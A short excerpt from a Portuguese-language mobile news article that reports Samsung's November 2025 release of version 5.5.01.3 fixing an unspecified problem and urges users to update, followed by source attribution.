A Samsung lançou a versão 5.5.01.3 em novembro de 2025, que resolve esse problema. Os usuários devem garantir que estão usando pelo menos a versão 5.5.01.3.

Fonte original

Conteúdo traduzido e adaptado pela redação do Notícias Mobile. Confira também a matéria na fonte original.

Leia a matéria completa